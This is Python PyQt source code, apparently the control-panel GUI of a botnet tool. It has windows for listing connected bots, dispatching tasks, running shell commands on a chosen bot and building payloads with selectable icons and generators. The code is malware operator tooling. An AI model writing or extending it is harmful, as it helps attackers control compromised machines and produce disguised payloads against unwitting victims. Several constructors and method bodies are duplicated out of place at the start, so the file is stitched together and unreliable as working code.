def __init__(self, parent):
super(TaskWindow, self).__init__(parent)
self.setContentsMargins(11, 11, 11, 11)
self.content_widget = MainTaskWidget(self)
self.content_widget.send_task.connect(self.send_task.emit)
self.addContentWidget(self.content_widget)
self.spinner = WaitingSpinner(self,
modality=Qt.WindowModal,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0)
self.menu = QMenu(self)
self.menu.setTitle("Task")
self.reload_action = QAction(self.menu)
self.reload_action.setText("Reload tasks")
self.reload_action.triggered.connect(self.setupUi)
self.menu.addAction(self.reload_action)
self.addMenu(self.menu)
def __init__(self, parent):
super(PayloadWindow, self).__init__(parent)
self.logger = logging.getLogger(self.__class__.__name__)
self.setContentsMargins(11, 11, 11, 11)
self.progress_windows = []
self.content_widget = QWidget(self)
self.addContentWidget(self.content_widget)
self.widget_layout = QFormLayout(self.content_widget)
self.content_widget.setLayout(self.widget_layout)
self.spinner = WaitingSpinner(self,
modality=Qt.WindowModal,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0)
self.build_name_label = QLabel("Name", self.content_widget)
self.build_name_edit = QLineEdit(self.content_widget)
self.widget_layout.addRow(self.build_name_label, self.build_name_edit)
self.icon_label = QLabel("Icon", self.content_widget)
self.icon_combobox = QComboBox(self.content_widget)
self.widget_layout.addRow(self.icon_label, self.icon_combobox)
self.generators_label = QLabel("Generators", self.content_widget)
self.generators_list = QListWidget(self.content_widget)
self.widget_layout.addRow(self.generators_label, self.generators_list)
self.build_button = QPushButton("Build", self.content_widget)
self.build_button.clicked.connect(self.on_build_button_clicked)
self.widget_layout.addWidget(self.build_button)
self.menu = QMenu(self)
self.menu.setTitle("Payload")
self.reload_action = QAction(self.menu)
self.reload_action.setText("Reload options")
self.reload_action.triggered.connect(self.setupUi)
self.menu.addAction(self.reload_action)
self.addMenu(self.menu)
def __init__(self, parent=None):
super(RemoteConnectWindow, self).__init__(parent)
self.message_box = None
self.sub_widget = ServerAddressWidget(self)
self.sub_widget.connect_clicked.connect(self.on_connect_clicked)
self.addSubContentWidget(self.sub_widget)
self.spinner = WaitingSpinner(self,
centerOnParent=True,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0,
disableParentWhenSpinning=True,
modality=Qt.WindowModal)
class TaskWindow(FramelessWindow):
send_task = Signal(int, str, dict, int)
get_tasks = Signal()
def __init__(self, parent):
super(TaskWindow, self).__init__(parent)
self.setContentsMargins(11, 11, 11, 11)
self.content_widget = MainTaskWidget(self)
self.content_widget.send_task.connect(self.send_task.emit)
self.addContentWidget(self.content_widget)
self.spinner = WaitingSpinner(self,
modality=Qt.WindowModal,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0)
self.menu = QMenu(self)
self.menu.setTitle("Task")
self.reload_action = QAction(self.menu)
self.reload_action.setText("Reload tasks")
self.reload_action.triggered.connect(self.setupUi)
self.menu.addAction(self.reload_action)
self.addMenu(self.menu)
def setupUi(self):
self.spinner.start()
self.get_tasks.emit()
@Slot(dict)
def process_task_message(self, message):
if self.isVisible():
event = message.get("event")
if event == "options":
self.content_widget.set_tasks(
message.get("options").get("tasks"))
self.spinner.stop()
def on_gui_client_config(self, config: dict):
if config:
self.content_widget.bot_double_clicked.connect(
self.on_bot_double_clicked)
self.content_widget.task_button_clicked.connect(
self.on_task_button_clicked)
self.content_widget.payload_button_clicked.connect(
self.on_payload_button_clicked)
self.content_widget.setupUi(config)
self.addContentWidget(self.content_widget)
self.console_window = Console(self)
self.client.message.connect(self.console_window.write)
self.client.shell_error.connect(self.on_gui_client_shell_error)
self.client.shell_output.connect(self.on_gui_client_shell_output)
self.console_window.message.connect(self.client.write)
self.console_window.setVisible(False)
self.spinner = WaitingSpinner(self,
modality=Qt.WindowModal,
disableParentWhenSpinning=True,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0)
self.content_widget.load_finished.connect(self.spinner.stop)
self.spinner.start()
self.menu = MainWindowMenu(self)
self.addMenu(self.menu)
self.tray = SystemTrayWidget(self)
self.tray.exit_action_triggered.connect(self.on_close_requested)
self.tray.hide_action_triggered.connect(self.hide)
self.tray.show_action_triggered.connect(self.show)
self.tray.show()
QMetaObject.connectSlotsByName(self)
class RemoteConnectWindow(BotnetWindow):
"""Dialog used to connect to GUI server."""
connect_clicked = Signal(str, int, bytes)
def __init__(self, parent=None):
super(RemoteConnectWindow, self).__init__(parent)
self.message_box = None
self.sub_widget = ServerAddressWidget(self)
self.sub_widget.connect_clicked.connect(self.on_connect_clicked)
self.addSubContentWidget(self.sub_widget)
self.spinner = WaitingSpinner(self,
centerOnParent=True,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0,
disableParentWhenSpinning=True,
modality=Qt.WindowModal)
@Slot()
def on_gui_client_connected(self):
self.spinner.stop()
self.close()
@Slot()
def on_gui_client_failed_to_connect(self):
self.sub_widget.setEnabled(True)
self.spinner.stop()
self.message_box = FramelessWarningMessageBox(self)
self.message_box.setWindowModality(Qt.WindowModal)
self.message_box.setStandardButtons(QDialogButtonBox.Yes
| QDialogButtonBox.No)
self.message_box.button(QDialogButtonBox.No).clicked.connect(
self.closeClicked.emit)
self.message_box.setText(
"Failed to connect to GUI server. Do you want to retry?")
self.message_box.show()
@Slot(str, int, bytes)
def on_connect_clicked(self, ip, port, key):
self.sub_widget.setEnabled(False)
self.spinner.start()
self.connect_clicked.emit(ip, port, key)
class MainWindow(FramelessWindow):
"""Main window controler manages signals and GUI IO."""
setup_cancelled = Signal()
def __init__(self, parent=None, local=False):
super(MainWindow, self).__init__(parent)
self.logger = logging.getLogger(self.__class__.__name__)
self.local = local
self.content_widget = MainWidget(self)
# windows and widgets
self.connect_dialog = None
self.setup_dialog = None
self.close_dialog = None
self.device_window = None
self.task_window = None
self.payload_window = None
self.console_window = None
self.spinner = None
self.menu = None
self.tray = None
self.client = GUIClient()
self.client.connected.connect(self.on_gui_client_connected)
self.client.bot_connected.connect(self.content_widget.add_bot)
self.client.bot_disconnected.connect(self.content_widget.remove_bot)
self.client.bot_updated.connect(self.content_widget.update_bot)
self.client.bot_log.connect(self.content_widget.on_bot_log)
self.client.get_config.connect(self.on_gui_client_config)
self.client.start_first_setup.connect(self.on_start_first_setup)
self.client.error.connect(self.on_gui_client_error)
try:
self.closeClicked.disconnect()
except Exception: # noqa
pass
self.closeClicked.connect(self.on_close_requested)
self.resize(QSize(1500, 900))
@Slot()
def setup_connect_dialog(self):
"""Show connect dialog."""
self.connect_dialog = RemoteConnectWindow()
self.client.connected.connect(self.show)
self.client.connected.connect(
self.connect_dialog.on_gui_client_connected)
self.client.failed_to_connect.connect(
self.connect_dialog.on_gui_client_failed_to_connect)
self.connect_dialog.connect_clicked.connect(self.connect_to_gui_server)
self.connect_dialog.closeClicked.connect(self.close_connect_dialog)
self.connect_dialog.show()
@Slot(str, int, bytes)
def connect_to_gui_server(self, ip, port, key):
"""Try to connect to GUI server."""
self.client.start(ip, port, key)
@Slot(str, int)
def on_gui_client_connected(self, server_ip, server_port):
"""Client connected to GUI server successfully."""
self.client.disconnected.connect(self.on_gui_client_disconnected)
self.client.on_get_config()
@Slot(str)
def on_gui_client_error(self, error):
pass
@Slot()
def on_gui_client_failed_to_connect(self):
print("dd")
pass
@Slot()
def on_start_first_setup(self):
"""When there is no config on server."""
self.setup_dialog = SetupDialog()
self.client.setup_options.connect(self.setup_dialog.set_options)
self.client.config_validate_error.connect(
self.setup_dialog.on_config_error)
self.client.config_saved.connect(self.on_first_setup_finished)
self.setup_dialog.accepted.connect(self.client.on_save_config)
self.setup_dialog.cancelled.connect(self.setup_cancelled.emit)
self.setup_dialog.restart_accepted.connect(self.close_with_server)
self.client.on_get_setup_options()
self.setup_dialog.show()
@Slot()
def on_first_setup_finished(self):
self.setup_dialog.on_first_setup_finished()
@Slot(dict)
def on_gui_client_config(self, config: dict):
if config:
self.content_widget.bot_double_clicked.connect(
self.on_bot_double_clicked)
self.content_widget.task_button_clicked.connect(
self.on_task_button_clicked)
self.content_widget.payload_button_clicked.connect(
self.on_payload_button_clicked)
self.content_widget.setupUi(config)
self.addContentWidget(self.content_widget)
self.console_window = Console(self)
self.client.message.connect(self.console_window.write)
self.client.shell_error.connect(self.on_gui_client_shell_error)
self.client.shell_output.connect(self.on_gui_client_shell_output)
self.console_window.message.connect(self.client.write)
self.console_window.setVisible(False)
self.spinner = WaitingSpinner(self,
modality=Qt.WindowModal,
disableParentWhenSpinning=True,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0)
self.content_widget.load_finished.connect(self.spinner.stop)
self.spinner.start()
self.menu = MainWindowMenu(self)
self.addMenu(self.menu)
self.tray = SystemTrayWidget(self)
self.tray.exit_action_triggered.connect(self.on_close_requested)
self.tray.hide_action_triggered.connect(self.hide)
self.tray.show_action_triggered.connect(self.show)
self.tray.show()
QMetaObject.connectSlotsByName(self)
@Slot()
def on_task_button_clicked(self):
if self.task_window:
self.task_window.show()
else:
self.task_window = TaskWindow(self)
self.client.task_message.connect(
self.task_window.process_task_message)
self.task_window.send_task.connect(self.client.on_send_task)
self.task_window.get_tasks.connect(self.client.on_get_tasks)
self.task_window.setupUi()
self.task_window.show()
@Slot(Bot)
def on_bot_double_clicked(self, bot: Bot):
self.device_window = DeviceWindow(bot, self)
self.device_window.stop_task.connect(self.client.on_stop_task)
self.device_window.force_start_task.connect(
self.client.on_force_start_task)
self.device_window.run_shell.connect(self.client.on_run_shell)
self.device_window.show()
@Slot()
def on_payload_button_clicked(self):
if self.payload_window:
self.payload_window.show()
else:
self.payload_window = PayloadWindow(self)
self.client.build_message.connect(
self.payload_window.process_build_message)
self.payload_window.get_build_options.connect(
self.client.on_get_build_options)
self.payload_window.start_build.connect(self.client.on_start_build)
self.payload_window.stop_build.connect(self.client.on_stop_build)
self.payload_window.setupUi()
self.payload_window.show()
@Slot()
def on_show_console_triggered(self):
self.console_window.show()
@Slot()
def on_close_requested(self):
self.close_dialog = FramelessQuestionMessageBox(self)
self.close_dialog.setWindowModality(Qt.WindowModal)
self.close_dialog.setStandardButtons(QDialogButtonBox.Yes
| QDialogButtonBox.No)
self.close_dialog.button(QDialogButtonBox.No).clicked.connect(
self.close_with_server)
self.close_dialog.button(QDialogButtonBox.Yes).clicked.connect(
self.close_dialog.close)
self.close_dialog.button(QDialogButtonBox.Yes).clicked.connect(
self.close)
self.close_dialog.setText("Do you want to keep server running?")
self.close_dialog.show()
@Slot(int, str)
def on_gui_client_shell_error(self, bot_id, output):
bot = self.content_widget.get_bot_by_id(bot_id)
if bot:
self.device_window.append_shell(bot, output)
@Slot(int, str)
def on_gui_client_shell_output(self, bot_id, output):
bot = self.content_widget.get_bot_by_id(bot_id)
if bot:
self.device_window.append_shell(bot, output)
@Slot()
def on_gui_client_disconnected(self):
self.setEnabled(False)
self.close_dialog = FramelessCriticalMessageBox(self)
self.close_dialog.setWindowModality(Qt.WindowModal)
self.close_dialog.setStandardButtons(QDialogButtonBox.Ok)
self.close_dialog.button(QDialogButtonBox.Ok).clicked.connect(
self.close)
self.close_dialog.setText(
"Connection lost! Application will be closed.")
self.close_dialog.show()
@Slot()
def close_with_server(self):
self.client.disconnected.connect(self.close)
self.client.on_app_close()
if self.spinner:
self.spinner.start()
if not self.local:
QApplication.instance().exit()
@Slot()
def close_connect_dialog(self):
self.connect_dialog.close()
QApplication.instance().exit()
@Slot()
def close(self):
if self.close_dialog:
self.close_dialog.close()
if self.setup_dialog:
self.setup_dialog.close()
if self.connect_dialog:
self.connect_dialog.close()
if self.payload_window:
self.payload_window.close()
if self.client:
self.client.close()
self.client.wait()
super().close()
class PayloadWindow(FramelessWindow):
get_build_options = Signal()
start_build = Signal(str, str, list)
stop_build = Signal()
def __init__(self, parent):
super(PayloadWindow, self).__init__(parent)
self.logger = logging.getLogger(self.__class__.__name__)
self.setContentsMargins(11, 11, 11, 11)
self.progress_windows = []
self.content_widget = QWidget(self)
self.addContentWidget(self.content_widget)
self.widget_layout = QFormLayout(self.content_widget)
self.content_widget.setLayout(self.widget_layout)
self.spinner = WaitingSpinner(self,
modality=Qt.WindowModal,
roundness=70.0,
fade=70.0,
radius=15.0,
lines=6,
line_length=25.0,
line_width=4.0,
speed=1.0)
self.build_name_label = QLabel("Name", self.content_widget)
self.build_name_edit = QLineEdit(self.content_widget)
self.widget_layout.addRow(self.build_name_label, self.build_name_edit)
self.icon_label = QLabel("Icon", self.content_widget)
self.icon_combobox = QComboBox(self.content_widget)
self.widget_layout.addRow(self.icon_label, self.icon_combobox)
self.generators_label = QLabel("Generators", self.content_widget)
self.generators_list = QListWidget(self.content_widget)
self.widget_layout.addRow(self.generators_label, self.generators_list)
self.build_button = QPushButton("Build", self.content_widget)
self.build_button.clicked.connect(self.on_build_button_clicked)
self.widget_layout.addWidget(self.build_button)
self.menu = QMenu(self)
self.menu.setTitle("Payload")
self.reload_action = QAction(self.menu)
self.reload_action.setText("Reload options")
self.reload_action.triggered.connect(self.setupUi)
self.menu.addAction(self.reload_action)
self.addMenu(self.menu)
@Slot()
def setupUi(self):
self.spinner.start()
self.get_build_options.emit()
@Slot(dict)
def process_build_message(self, message):
if self.isVisible():
event = message.get("event")
if event == "options":
options = message.get("options")
self.set_options(options.get("generators"),
options.get("icons"))
elif event == "started":
self.set_started(message.get("generator_name"))
elif event == "stopped":
self.set_stopped()
elif event == "progress":
self.set_progress(message.get("generator_name"),
message.get("progress"))
elif event == "error":
self.set_error(message.get("error"))
elif event == "generator_finished":
self.set_generator_finished(message.get("generator_name"),
message.get("exit_code"))
elif event == "build_finished":
self.set_build_finished()
@Slot(str, str)
def set_progress(self, generator_name, progress):
for win in self.progress_windows:
if win.generator() == generator_name:
win.appendProgress(progress)
@Slot(str)
def set_started(self, generator_name):
win = ProgressWindow(self, generator_name)
win.show()
self.progress_windows.append(win)
self.logger.info("Generator {} started!".format(generator_name))
self.reload_action.setEnabled(False)
self.spinner.start()
@Slot(str, int)
def set_generator_finished(self, generator_name, exit_code):
self.logger.info("Generator {} finished with exit code {}.".format(
generator_name, exit_code))
@Slot(list, list)
def set_options(self, generators, icons):
self.build_name_edit.clear()
self.generators_list.clear()
self.icon_combobox.clear()
for generator in generators:
item = QListWidgetItem(generator, self.generators_list)
item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsUserCheckable)
item.setCheckState(Qt.Checked)
self.generators_list.addItem(item)
for icon in icons:
name = icon.get("name")
pix = QPixmap()
pix.loadFromData(base64.b64decode(icon.get("ico")))
ico = QIcon()
ico.addPixmap(pix)
self.icon_combobox.addItem(ico, name)
self.spinner.stop()
@Slot()
def set_stopped(self):
self.on_build_finished()
self.build_button.setText("Build")
self.stopped_messagebox = FramelessInformationMessageBox(self)
self.stopped_messagebox.setText(
"Build process has been stopped successfully.")
self.stopped_messagebox.setStandardButtons(QDialogButtonBox.Ok)
self.stopped_messagebox.button(QDialogButtonBox.Ok).clicked.connect(
self.stopped_messagebox.close)
self.stopped_messagebox.show()
@Slot(str)
def set_error(self, error):
self.on_build_finished()
self.build_button.setText("Build")
self.error_messagebox = FramelessCriticalMessageBox(self)
self.error_messagebox.setText(error)
self.error_messagebox.setStandardButtons(QDialogButtonBox.Ok)
self.error_messagebox.button(QDialogButtonBox.Ok).clicked.connect(
self.error_messagebox.close)
self.error_messagebox.show()
@Slot()
def set_build_finished(self):
self.on_build_finished()
self.build_button.setText("Build")
self.build_finished_messagebox = FramelessInformationMessageBox(self)
self.build_finished_messagebox.setText(
"Build process has been finished.")
self.build_finished_messagebox.setStandardButtons(QDialogButtonBox.Ok)
self.build_finished_messagebox.button(
QDialogButtonBox.Ok).clicked.connect(
self.build_finished_messagebox.close)
self.build_finished_messagebox.show()
@Slot()
def on_build_button_clicked(self):
if self.build_button.text() == "Build":
generators = []
for i in range(self.generators_list.count()):
item = self.generators_list.item(i)
if item.checkState() == Qt.Checked:
generators.append(item.text())
self.start_build.emit(self.build_name_edit.text(),
self.icon_combobox.currentText(), generators)
self.build_button.setText("Stop")
else:
self.stop_build_messagebox = FramelessQuestionMessageBox(self)
self.stop_build_messagebox.setText(
"Do you want to stop build process?")
self.stop_build_messagebox.setStandardButtons(
QDialogButtonBox.Ok | QDialogButtonBox.Cancel)
self.stop_build_messagebox.button(
QDialogButtonBox.Cancel).clicked.connect(
self.stop_build_messagebox.close)
self.stop_build_messagebox.button(
QDialogButtonBox.Ok).clicked.connect(self.stop_build.emit)
self.stop_build_messagebox.button(
QDialogButtonBox.Ok).clicked.connect(
self.stop_build_messagebox.close)
self.stop_build_messagebox.show()
@Slot()
def on_build_finished(self):
self.reload_action.setEnabled(True)
self.spinner.stop()
@Slot()
def close(self) -> bool:
for win in self.progress_windows:
win.close()
return super().close()